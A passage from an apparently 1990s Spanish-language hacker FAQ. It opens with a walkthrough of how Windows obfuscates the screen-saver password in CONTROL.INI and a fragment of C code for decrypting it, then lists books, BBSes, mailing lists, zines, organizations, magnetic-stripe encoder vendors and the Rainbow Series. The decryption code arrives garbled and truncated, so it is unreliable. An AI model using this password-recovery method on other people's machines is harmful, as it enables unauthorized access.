carácter de 'plaintext' antes de la siguiente operacion. La proxima operacion es xor con
'pos' (ésto es inútil
para la primera operacion porque 'len' es 0 y cualquier cosa xor con cero es él mismo)
entonces alimentó a 'is_ok'
con esta segunda operacion y reemplazó con el original si no es válido. La operacion
final (por carácter) es hacer
con esto xor con el carácter previo de'plaintext.'
Si no hay ningún carácter previo, el valor fijo, 42,se usa en el primer carácter de
'plaintext.'
Se alimenta con éste entonces a'is_ok' y si todo esta bien (OK), se guarda en la
primera posición de 'hash1'
Éste de proceso se repite hasta que se agotan todos carácteres del plaintext.

El paso del segundo es muy similar, sólo que ahora, el punto de comienzo es el
último carácter en hash1 y se ponen en hash2 los resultados
del fin al principio. También, en lugar de usar el carácter previo en
el ultimo xoring , se usa el carácter siguiente al caracter actual.
Si ya no hay ningún carácter siguiente al último carácter en hash1, el
valor 42 se usa de nuevo como ultimo caracter.
hash2' es el cordón final y éste es el qué guarda windows en el archivo
CONTROL.INI.

Para desencriptar la contraseña se sigue el proceso anterior al reves.

Ahora, lo que todos estabais esperando. Aquí algunos codigos de C que harán
el trabajo sucio por usted:

#include
#include
#include

int xor1(int i,int j)

{
int x;

x=i^j;
return (x>126||x-1;l--)
s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
for(l=0;l BBS (719)578-8288 NUP=NO NUP
N The Edge of Reality (805)496-7460
Static Line (806)747-0802
Area 51 (908)526-4384
N The Drunk Forces +972-3-5733477

09. ¿Cuales son algunos de los libros de interés a hackers?

General Computer Security

~~~~~~~~~~~~~~~~~~~~~~~~~
Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4

Éste es un libro excelente. Da un apreciación global amplia de

seguridad de la computadora sin sacrificar los detalles. Uno debe leerlo para
 empezar a ser un experto de seguridad.

Information Systems Security

Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0

Computer Related Risks

Author: Peter G. Neumann
Publisher: Addison-Wesley
Copyright Date: 1995
ISBN: 0-201-55805-X

Computer Security Management

Author: Karen Forcht
Publisher: boyd & fraser publishing company
Copyright Date: 1994
ISBN: 0-87835-881-1

The Stephen Cobb Complete Book of PC and LAN Security

Author: Stephen Cobb
Publisher: Windcrest Books
Copyright Date: 1992
ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

Security in Computing
Author: Charles P. Pfleeger
Publisher: Prentice Hall
Copyright Date: 1989
ISBN: 0-13-798943-1.

Building a Secure Computer System

Author: Morrie Gasser
Publisher: Van Nostrand Reinhold Co., New York.
Copyright Date:
ISBN: 0-442-23022-2

Modern Methods for Computer Security

Author: Lance Hoffman
Publisher: Prentice Hall
Copyright Date: 1977
ISBN:

Windows NT 3.5 Guidelines for Security, Audit and Control

Author:
Publisher: Microsoft Press
Copyright Date:
ISBN: 1-55615-814-9
 Protection and Security on the Information Superhighway
Author: Dr. Frederick B. Cohen)
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-11389-1

N Commonsense Computer Security

Author: Martin Smith
Publisher: McGraw-Hill
Copyright Date: 1993
ISBN: 0-07-707805-5

N Combatting Computer Crime

Author: Jerry Papke
Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc.
Copyright Date: 1992
ISBN: 0-8306-7664-3

N Computer Crime: a Crimefighters Handbook

Author: David Icove, Karl Seger and William VonStorch
Publisher: O'Reilly & Associates
Copyright Date: 1995
ISBN: 1-56592-086-4

Unix System Security

~~~~~~~~~~~~~~~~~~~~
Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2

Firewalls and Internet Security

Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4

Unix System Security

Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0

Unix Security: A Practical Tutorial

Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6
 Unix System Security: A Guide for Users and Systems Administrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4

Unix System Security

Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3

Unix Security for the Organization

Author: Richard Bryant
Publisher: Sams
Copyright Date: 1994
ISBN: 0-672-30571-2

N Building Internet Firewalls

Author: D. Brent Chapman and Elizabeth D. Zwicky
Publisher: O'Reilly and Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-124-0

N Unix System Security Essentials

Author: Christopher Braun
Publisher: Addison Wesley
Copyright Date: 1995
ISBN: 0-201-42775-3

N Internet Firewalls and Network Security

Author: Karanjit S. Siyan and Chris Hare
Publisher: New Riders Publishing
Copyright Date: 1995
ISBN: 1-56205-437-6

Network Security
~~~~~~~~~~~~~~~~
Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7

No es un gasto total en papel, pero definitivamente no vale

$49,95 , el precio de compra. El libro es una refundición de informacion
previamente
 publicada . El unico secreto que aprendemos de leer este libro es que Sylvia
Moon es una mujer joven locamente
enamorada del mas viejo David Stang.

Complete Lan Security and Control

Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4

N Network Security: How to Plan For It and How to Achieve It

Author: Richard M. Baker
Publisher: McGraw-Hill, Inc.
Copyright Date:
ISBN: 0-07-005141-0

N Network Security
Author: Steven L. Shaffer and Alan R. Simon
Publisher: Academic Press
Copyright Date: 1994
ISBN: 0-12-638010-4

N Network Security: Private Communications in a Public World

Author: Charlie Kaufman, Radia Perlman and Mike Speciner
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-13-061466-1

N Network and Internetwork Security: Principles and Practice

Author: William Stallings
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-02-415483-0

N Implementing Internet Security

Author: William Stallings
Publisher: New Rider Publishing
Copyright Date: 1995
ISBN: 1-56205-471-6

N Actually Useful Internet Security Techniques

Author: Larry J. Hughes, Jr.
Publisher: New Riders Publishing
Copyright Date: 1995
 ISBN: 1-56205-508-9

Cryptology
~~~~~~~~~~~~
Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2

El libro de Bruce Schneier reemplaza todos los otros textos en

criptografía. Si se interesa por la criptografía, éste es el que debe leer. Éste sera
el primero y último libro de
criptografía que alguna vez necesitara comprar.

Cryptography and Data Security

Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5

Protect Your Privacy: A Guide for PGP Users

Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4

Codebreakers
Author: Kahn
Publisher: Simon and Schuster
Copyright Date:
ISBN:0-02-560460-0

Codebreakers: The Inside Story of Bletchley Park

Author: Francis Harry Hinsley and Alan Stripp
Publisher: Oxford University Press,
Copyright Date: 1993
ISBN:0-19-285304-X

Cryptanalysis, a study of ciphers and their solution

Author: Gaines, Helen Fouche
Publisher: Dover Publications
Copyright Date: 1956
ISBN:

N Computer Privacy Handbook

Author: Andre' Bacard
Publisher: Peachpit Press
Copyright Date: 1995
 ISBN: 1-56609-171-3

N E-Mail Security with PGP and PEM

Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-05318-X

N PGP: Pretty Good Privacy

Author: Simson Garfinkel
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-098-8

Programmed Threats
~~~~~~~~~~~~~~~~~~
The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0

N The Giant Black Book of Computer Viruses

Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1995
ISBN:

Computer Viruses, Artificial Life and Evolution

Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other

Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X

The Virus Creation Labs: A Journey Into the Underground

Author: George Smith
Publisher: American Eagle Publications
Copyright Date: 1994
ISBN: 0-929408-09-8

U A Short Course on Computer Viruses

Author: Dr. Fred Cohen
 Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-00769-2

N Robert Slade's Guide to Computer Viruses

Author: Robert Slade
Publisher: Springer-Verlag
Copyright Date: 1994
ISBN: 0-387-94311-0 / 3-540-94311-0

ISBN:

Hacking History and Culture

~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X

Bruce Esterlina ha soltado recientemente el libro GRATIS en la red.

El libro es muy más fácil leer en forma impresa, en rústica sólo cuesta $5.99. De
cualquier modo si lo lee,podra
estar alegre . Sr. Sterling es un autor excelente de ciencia ficción y ha traído su
talento con palabras a la
cultura hacking. Una lectura muy agradable .

Cyberpunk
Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X

The Cuckoo's Egg

Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9

Hackers: Heroes of the Computer Revolution

Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6

Unclassified
~~~~~~~~~~~~
The Hacker's Handbook
 Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4

Secrets of a Super Hacker

Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5

El Knightmare no es ningún hacker excelente. Hay una pequeña o ninguna

informacion real
en este libro. El Knightmare da un consejo útil , no deves vestirte de gala para ir
a hacer trashing.
( Buscar en la basura de la empresa objetivo informacion acerca de las claves o
sistemas que utilizan )
El mejor hack de Knightmare a sido engañar a Loompanics en la
publicación de esta basura.

The Day The Phones Stopped

Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6

Basura total. Engaños paranoicos de un loco. Menos verdadero

que los datos de una emisión promedio del Enquirer.(N.T. Esto no se lo que es si
alguien lo sabe ya sabe
, un e-mail y se agradecera pero podriamos poner ,
mas falsos que los datos del paro de Aznar y es que "España va bien " :-)) )

Guerra de la información
Autor: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1

An Illustrated Guide to the Techniques and Equipment of Electronic Warfare

Author: Doug Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8

10. ¿Cuales son algunos de los videos de interés a hackers?

'Unauthorized Access' by Annaliza Savage

$25 on VH S format in 38-min
Savage Productions
 1803 Mission St., #406
Santa Cruz, CA 95060

Hacker's '95 - a Phon-E & R.F. Burns Production

Vea el video de Emmanuel Goldstein cuando tenia a los Feds (federales ) golpeando
su puerta. Cobertura de Summercon'95
Cobertura de Defcon III El Y grande
fiasco a Summercon PMF (narc) entrevistas a Emmanuel Goldstein& #38; Eric
BloodAxe. Viaje al Area 51 y entrevista con Psyhospy, Cobertura de el
Secret Service briefing on Operation Cyber Snare (recent cell busts)
Habla con Crypto, HERF, los Feds, etc. se presenta Toda la información
solamente con propósitos educativos . No se vende al gobierno o a organizaciones
del mantenimiento de la ley.
tiempo aproximado 90 minutos.
$25.00 NTSC VHS
$35.00 PAL/Secam VHS
Custom Video Productions
(908)842-6378
[email protected]

11. ¿Cuales son algunos de los Mailing lists de interés a hackers?

Academic Firewalls
Registration Address: Send a message to [email protected]
containing the line "subscribe firewalls user@host"

N The Alert
Registration Address: Send a message to [email protected]
containing the line "subscribe alert"

Bugtraq
Reflector Address: [email protected]
Registration Address: [email protected]

Cert Tools
Reflector Address: [email protected]
Registration Address: [email protected]

Computers and Society

Reflector Address: [email protected]
Registration Address: [email protected]

Coordinated Feasibility Effort to Unravel State Data

Reflector Address: [email protected]
Registration Address:

CPSR Announcement List

Reflector Address: [email protected]
Registration Address:
 CPSR - Intellectual Property
Reflector Address: [email protected]
Registration Address:

CPSR - Internet Library

Reflector Address: [email protected]
Registration Address:

N Cypherpunks
Registration Address: Send a message to [email protected]
containing the line "subscribe cypherpunks"

DefCon Announcement List

Registration Address: Send a message to [email protected] containing
the line "subscribe dc-announce"

DefCon Chat List

Registration Address: Send a message to [email protected] containing
the line "subscribe dc-stuff"

N Discount Long Distance Digest

Registration Address: Send a message to: [email protected]
containing the line "subscribe"

Electronic Payment
Registration Address: [email protected]

IDS (Intruder Detection Systems)

Registration Address: Send a message to [email protected]
containing the line "subscribe ids"

N Information Warfare
Registration Address: E-mail [email protected] with a request to be added.

N Linux-Alert
Registration Address: [email protected]

N Linux-Security
Registration Address: [email protected]

Macintosh Security
Reflector Address: [email protected]
Registration Address: [email protected]

NeXT Managers
Registration Address: [email protected]

PGP3 announcement list

Registration Address: [email protected]
 Subject: Your Name
Body: *ignored*

Phiber-Scream
Registration Address: Send a message to [email protected]
containing the line "subscribe phiber-scream user@host"

phruwt-l (Macintosh H/P)

Registration Address: Send a message to [email protected]
with the subject "phruwt-l"

rfc931-users
Reflector Address: [email protected]
Registration Address: [email protected]

RSA Users
Reflector Address: [email protected]
Registration Address: [email protected]

WWW Security
Registration Address: [email protected]

12. ¿Algunas revistas impresas de interés a hackers?

2600 - The Hacker Quarterly

~~~~~~~~~~~~~~~~~~~~~~~~~~~
E-mail addresses: [email protected] - to get info on 2600
[email protected] - to get a copy of our index
[email protected] - for info on starting your own meeting
[email protected] -- for subscription problems
[email protected] -- to send us a letter
[email protected] -- to send us an article
[email protected] -- to send us a general message

Subscription Address: 2600 Subscription Dept

PO Box 752
Middle Island, NY 11953-0752

Letters and article submission address: 2600 Editorial Dept

PO Box 99
Middle Island, NY 11953-0099

Phone Number: (516)751-2600

Fax Number: (516)474-2677
Voice BBS: (516)473-2626

Subscriptions: United States: $21/yr individual, $50 corporate.

Overseas: $30/yr individual, $65 corporate.
Gray Areas
~~~~~~~~~~
Gray Areas examines gray areas of law and morality and subject matter
which is illegal, immoral and/or controversial. Gray Areas explores
why hackers hack and puts hacking into a sociological framework of
deviant behavior.

E-Mail Address: [email protected]

E-Mail Address: [email protected]

U.S. Mail Address: Gray Areas

PO Box 808
Broomall, PA 19008

Subscriptions: $26.00 4 issues first class

$34.00 4 issues foreign (shipped air mail)

Privacy Newsletter
~~~~~~~~~~~~~~~~~~
Privacy Newsletter is a monthly newsletter devoted to showing
consumers how to get privacy and keep it.

E-Mail Address: [email protected]

Subscription Address: Privacy Newsletter

P.O. Box 8206
Philadelphia, PA 19101-8206

Subscriptions: $99/yr (US) $149/yr (Overseas)

Wired
~~~~~
Subscription Address: [email protected]
or: Wired
PO Box 191826
San Francisco, CA 94119-9866

Letters and article submission address: [email protected]

or: Wired
544 Second Street
San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)

Nuts & Volts

~~~~~~~~~~~~
T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line)
(909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664

Cybertek: The Cyberpunk Technical Journal

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
P.O. Box 64
Brewster, NY 10509

Frequency: Bimonthly
Domestic Subscription Rate: $15/year (6 issues)

PrivateLine
~~~~~~~~~~~
5150 Fair Oaks Blvd. #101-348
Carmichael, CA 95608 USA

E-Mail: [email protected]

Subscriptions: $24 a year for six issues

Text of back issues are at the etext archive at Michigan. Gopher over
or ftp to: etext.archive.umich.edu/pub/Zines/PrivateLine

13. ¿Cuales son algunos de los e-zines de interés a hackers?

CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo

Empire Times ftp.etext.org /pub/Zines/Emptimes
FEH ftp.fc.net /pub/defcon/FEH
The Infinity Concept infonexus.com
/pub/Philes/Zines/TheInfinityConcept
Phrack ftp.fc.net /pub/phrack

14. ¿Algunas organizaciones de interés a hackers?

Computer Professionals for Social Responsibility (CPSR)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CPSR empowers computer professionals and computer users to advocate for
the responsible use of information technology and empowers all who use
computer technology to participate in the public debate. As technical
experts, CPSR members provide the public and policy makers with
realistic assessments of the power, promise, and limitations of computer
technology. As an organization of concerned citizens, CPSR directs
public attention to critical choices concerning the applications of
computing and how those choices affect society.

By matching unimpeachable technical information with policy development

savvy, CPSR uses minimum dollars to have maximum impact and encourages
broad public participation in the shaping of technology policy.

Every project we undertake is based on five principles:

* We foster and support public discussion of and public responsibility

for decisions involving the use of computers in systems critical to
society.

* We work to dispel popular myths about the infallibility of

technological systems.

* We challenge the assumption that technology alone can solve political

and social problems.

* We critically examine social and technical issues within the computer

profession, nationally and internationally.

* We encourage the use of computer technology to improve the quality of

life.

CPSR Membership Categories

75 REGULAR MEMBER
50 Basic member
200 Supporting member
500 Sponsoring member
1000 Lifetime member
20 Student/low income member
50 Foreign subscriber
50 Library/institutional subscriber

CPSR National Office

P.O. Box 717
Palo Alto, CA 94301
415-322-3778
415-322-3798 (FAX)
E-mail: [email protected]

Electronic Frontier Foundation (EFF)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit
of policies and activities that will advance freedom and openness in
computer-based communications. It is a member-supported, nonprofit
group that grew from the conviction that a new public interest
organization was needed in the information age; that this organization
would enhance and protect the democratic potential of new computer
communications technology. From the beginning, the EFF determined to
become an organization that would combine technical, legal, and public
policy expertise, and would apply these skills to the myriad issues
and concerns that arise whenever a new communications medium is born.

Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.

The Electronic Frontier Foundation, Inc.

1001 G Street, NW
Suite 950 East
Washington, D.C. 20001
(202)544 9237
(202)547 5481 FAX
Internet: [email protected]

Free Software Foundation (FSF) and GNU

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Free Software Foundation is dedicated to eliminating restrictions

on people's right to use, copy, modify, and redistribute computer
programs. We promote the development and use of free software in all
areas using computers. Specifically, we are putting together a
complete, integrated software system named "GNU" ("GNU's Not Unix",
pronounced "guh-new") that will be upwardly compatible with Unix.
Most parts of this system are already being used and distributed.

The word "free" in our name refers to freedom, not price. You may or
may not pay money to get GNU software, but regardless you have two
specific freedoms once you get it: first, the freedom to copy a
program and give it away to your friends and co-workers; and second,
the freedom to change a program as you wish, by having full access to
source code. You can study the source and learn how such programs are
written. You may then be able to port it, improve it, and share your
changes with others. If you redistribute GNU software you may charge
a distribution fee or give it away, so long as you include the source
code and the GPL (GNU General Public License).

Free Software Foundation, Inc. Telephone: +1-617-876-3296

673 Massachusetts Avenue Fax: +1-617-492-9057
Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD)
Electronic mail: [email protected] 0066-3382-0158 (IDC)

GNU is to be a complete integrated computational environment:

everything you need to work with a computer, either as a programmer or
as a person in an office or home. The core is an operating system,
which consists of a central program called a kernel that runs the
other programs on the computer, and a large number of ancillary
programs for handling files, etc. The Free Software Foundation is
developing an advanced kernel called the Hurd.

A complete system has tools for programmers, such as compilers and

debuggers. It also has editors, sketchpads, calendars, calculators,
spreadsheets, databases, electronic mail readers, and Internet
navigators. The FSF already distributes most of the programs used in
an operating system, all the tools regularly used by programmers, and
much more.

The League for Programming Freedom (LPF)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The League for Programming Freedom is an organization of people who
oppose the attempt to monopolize common user interfaces through "look
and feel" copyright lawsuits. Some of us are programmers, who worry
that such monopolies will obstruct our work. Some of us are users,
who want new computer systems to be compatible with the interfaces we
know. Some are founders of hardware or software companies, such as
Richard P. Gabriel. Some of us are professors or researchers,
including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S.
Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of government-

enforced monopolies broader in scope than ever before. Such a system
of user-interface copyright would impose gratuitous incompatibility,
reduce competition, and stifle innovation.

We in the League hope to prevent these problems by preventing

user-interface copyright. The League is NOT opposed to copyright law
as it was understood until 1986 -- copyright on particular programs.
Our aim is to stop changes in the copyright system which would take
away programmers' traditional freedom to write new programs compatible
with existing programs and practices.

Annual dues for individual members are $42 for employed professionals,
$10.50 for students, and $21 for others. We appreciate activists, but
members who cannot contribute their time are also welcome.

To contact the League, phone (617) 243-4091, send Internet mail to the
address [email protected], or write to:

League for Programming Freedom

1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA
SotMesc
~~~~~~~
Founded in 1989, SotMesc is dedicated to preserving the integrity and
cohesion of the computing society. By promoting computer education,
liberties and efficiency, we believe we can secure freedoms for all
computer users while retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc

Scholarship Fund, and the SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but

mostly by selling hacking, cracking, phreaking, electronics, internet,
and virus information and programs on disk and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

SotMESC
P.O. Box 573
Long Beach, MS 39560

Computer Emergency Response Team (CERT

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CERT is the Computer Emergency Response Team that was formed by the
Defense Advanced Research Projects Agency (DARPA) in November 1988 in
response to the needs exhibited during the Internet worm incident.
The CERT charter is to work with the Internet community to facilitate
its response to computer security events involving Internet hosts, to
take proactive steps to raise the community's awareness of computer
security issues, and to conduct research targeted at improving the
security of existing systems.

CERT products and services include 24-hour technical assistance for

responding to computer security incidents, product vulnerability
assistance, technical documents, and seminars. In addition, the team
maintains a number of mailing lists (including one for CERT
advisories) and provides an anonymous FTP server: cert.org
(192.88.209.5), where security-related documents, past CERT
advisories, and tools are archived.

CERT contact information:

U.S. mail address

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
U.S.A.
Internet E-mail address
[email protected]

Telephone number
(412)268-7090 (24-hour hotline)
CERT Coordination Center personnel answer
7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
emergencies during other hours.

FAX number
(412)268-6989

15. ¿Cuales son algunos de los radio programas de interés a hackers?

Off The Hook New York 99.5 FM Tue 8pm EST

Full Disclosure Live Short Wave WWCR 5065 khz Sun 8pm EST
Full Disclosure Live Oil City, PA WOYL AM-1340 Sun 8pm EST
Full Disclosure Live Satellite Telstar 302 (T2), Ch 21, 5.8 Sun 8pm EST

16. ¿Otros FAQ de interés a hackers?

Frequently Asked Questions "Hacking Novell Netware"

Author: Simple Nomad
ftp: jumper.mcc.ac.uk /pub/security/netware/faq.zip
ftp: ftp.fastlane.net /pub/nomad/nw/faq.zip
ftp: ftp.best.com /pub/almcepud/hacks/faq.zip
http://resudox.net/bio/mainpage.html
http://www.hookup.net/~apayne/nwhack.html

The PGP Attack FAQ

Author: Route [[email protected] / [email protected]]
ftp: infonexus.com /pub/Philes/Cryptography/PGPattackFAQ.txt.gz

Mac Hack FAQ: Defeating Security

Author: AX1P ([email protected])

Frequently Asked Questions About Red Boxing

Author: Mr. Sandman ([email protected])

VMS FAQ (Frequently Ask Questions)

Author: The Beaver ([email protected])

Anonymous FTP FAQ

Author: Christopher Klaus of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/anonftp

Compromise FAQ: What if your Machines are Compromised by an Intruder

Author: Christopher Klaus of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/compromise

Security Patches FAQ

Author: Christopher Klaus of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/patch

Sniffer FAQ
Author: Christopher Klaus of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/sniff

Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches

Author: Christopher Klaus of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/vendor

Cryptography FAQ
Author: The Crypt Cabal
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

Firewalls FAQ
Author: Marcus J. Ranum ([email protected])
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/

Buying a Used Scanner Radio

Author: [email protected] (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

How to Find Scanner Frequencies

Author: [email protected] (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Introduction to Scanning
Author: [email protected] (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Low Power Broadcasting FAQ

Author: Rick Harrison.
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/

RSA Cryptography Today FAQ

Author: Paul Fahn
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

VIRUS-L comp.virus Frequently Asked Questions (FAQ)

Author: Kenneth R. van Wyk
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.virus/

Where to get the latest PGP (Pretty Good Privacy) FAQ

Author: [email protected] (Michael Johnson)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/
alt.locksmithing answers to Frequently Asked Questions (FAQ)
Author: [email protected] (Joe Ilacqua)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/

comp.os.netware.security FAQ
Author: Fauzan Mirza
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/

rec.pyrotechnics FAQ
Author: [email protected] (Hans Josef Wagemueller)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/

17. ¿Dónde puedo comprar un codificador decodificador de banda magnética?

CPU Advance
PO Box 2434
Harwood Station
Littleton, MA 01460
(508)624-4819 (Fax)

Omron Electronics, Inc.

One East Commerce Drive
Schaumburg, IL 60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)

Security Photo Corporation

1051 Commonwealth Avenue
Boston, MA 02215
(800)533-1162 (Voice)
(617)783-3200 (Voice)
(617)783-1966 (Voice)

Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)

Alltronics
2300 Zanker Road
San Jose CA 95131
(408) 943-9774 Voice
(408) 943-9776 Fax
(408) 943-0622 BBS
Part Number: 92U067

Atalla Corp
San Jose, CA
(408) 435-8850

18. ¿Qué son los libros arcoiris y donde los consigo?

Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria

Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline

Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department
of Defense Trusted Computer System Evaluation Criteria in Specific
Environments

Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security
Requirements. Guidance for Applying the Department of Defense Trusted
Computer System Evaluation Criteria in Specific Environments.

Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems

Bright Blue Book

NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors

Neon Orange Book

NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted
Systems

Teal Green Book

NCSC-TG-004
Glossary of Computer Security Terms

Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System
Evaluation Criteria

Orange Book
NCSC-TG-006
A Guide to Understanding Configuration Management in Trusted Systems

Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems

Dark Lavender Book

NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems

Venice Blue Book

NCSC-TG-009
Computer Security Subsystem Interpretation of the Trusted Computer
System Evaluation Criteria

Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems

Dark Red Book

NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for
Applying the Trusted Network Interpretation

Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document

Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems

Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management

Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals

Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted
Systems

Light Blue Book

NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems

Blue Book
NCSC-TG-019
Trusted Product Evaluation Questionnaire

Gray Book
NCSC-TG-020A
Trusted Unix Working Group (TRUSIX) Rationale for Selecting
Access Control List Features for the Unix System

Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted
Computer System Evaluation Criteria

Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems

Bright Orange Book

NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in
Trusted Systems

Purple Book
NCSC-TG-024 (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to
Procurement Initiators on Computer Security Requirements

Purple Book
